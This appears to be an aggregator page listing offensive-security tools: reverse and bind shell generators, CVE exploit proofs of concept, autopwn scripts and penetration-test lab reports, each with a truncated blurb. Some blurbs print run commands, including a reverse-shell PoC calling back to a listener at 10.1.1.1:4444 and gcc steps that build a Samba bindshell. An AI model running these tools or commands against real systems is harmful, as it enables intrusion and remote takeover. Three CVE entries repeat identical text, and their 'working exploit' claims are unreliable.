persisthunt

Linux Persistence Detection, Hunting and Artifact Collection Summary Usage Example Detections Table of Techniques Summary persisthunt.sh helps speed up investigations by collecting targeted persistence-related artifacts and highlighting suspicious patterns commonly associated with Linux persisten...

CVE-2020-0910

CVE-2020-0910 Working Exploit PoC CVE-2020-0910 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

One-Lin3r

One-Lin3r One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing Windows, Linux, macOS or even BSD systems or hacking generally with a lot of new features to make all of this fully automated ex: you won't even need to copy...

GoSH

GoSH Golang reverse/bind shell generator Description This tool generates a Go binary that launches a shell of the desired type on the targeted host. The shell binary can be compiled for multiple platforms, supports partial polymorphism unique functions' names and can use UDP protocol instead of t...

ShellPop

ShellPop About Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. Don't waste more time with .txt files storing your Reverse shells! Installation Python 2.7 is required. 3.0+ version wil...

metasploitable2-vsftpd-exploitation

Metasploitable 2 - vsFTPd 2.3.4 Exploitation Lab Overview This project demonstrates a penetration testing workflow against a deliberately vulnerable machine, Metasploitable 2. The objective was to identify, exploit, and analyze a known vulnerability in the FTP service, ultimately achieving...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Exploit SambaCry CVE-2017-7494 to exploit Samba bind shell without Metasploit If you need to change the port, just change line 68 of bindshell-samba.c and recompile: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so...

revsh

revsh revsh is a tool for establishing reverse shells with terminal support, reverse VPNs for advanced pivoting, as well as arbitrary data tunneling. News 2018-08-09 : New release. Mosly bug / stability fixes and better documentation on the build process with OpenSSL 1.1.0. See the Installation...

nginxhack

Esta es una herramienta que utiliza un exploit llamado CVE-2013-2028 para ejecutar un bind shell en el servidor objetivo que ejecuta Nginx 1.3.9 o 1.4.0. Se puede descargar aquí necesitarás ejecutarlo desde la línea de comandos Uso:...

postshell

PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

CVE-2020-0796

CVE-2020-0796 Working Exploit PoC CVE-2020-0796 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

SLAE

SecurityTube Linux Assembly Expert Esta entrada de blog ha sido creada para cumplir los requisitos de la certificación SecurityTube Linux Assembly Expert: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ID de estudiante: SLAE-1134 Artículos Tarea 1: Shell bind...

jboss-autopwn

⚠️ NOTE: This tool is no longer under active maintenance. JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com INTRODUCTION This JBoss script deploys a JSP shell on the target JBoss AS server. Once deployed, the script uses its upload and command execution capability to provid...

CVE-2024-27348

🔥 CVE-2024-27348 Exploitation Toolkit 🎓 Academic Project 📚 Course: FC411 - Secure Network Design 👨‍🏫 Instructor: Dr. Maira Sultan 🏫 University: University of Prince Mugrin 📅 Year: 2025 ⚡ A complete toolkit for exploiting CVE-2024-27348 Apache Huge-Graph-Server developed as part of the FC411 course...

badblood

Bad Blood Bad Blood es un exploit para CVE-2021-20038, un desbordamiento de búfer basado en pila en el binario httpd de los sistemas de la serie SMA-100 que utilizan versiones de firmware 10.2.1.x. He escrito muchos de los detalles técnicos aquí: AttackerKB CVE-2021-20038 El exploit, tal como est...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Un exploit basado en golang para CVE-2021-4034, apodado pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@ !...

hacktivity-vulns-exploits-lab

Vulnerabilidades, Exploits y Payloads de Acceso Remoto — informe de laboratorio Mi recorrido y análisis de la hoja de Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" curso de Ethical Hacking y Penetration Testing, Leeds Beckett University. Cubre cómo las...

CVE-2020-0688

CVE-2020-0688 Working Exploit PoC CVE-2020-0688 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

metasploitable-pentest-report

Metasploitable 2 — Penetration Test Report Disclaimer: This penetration test was conducted in a private, isolated VMware lab environment for educational purposes only. No real systems were accessed. All IP addresses have been anonymised. Overview Field| Details ---|--- Tester| Prafullya Shandilya...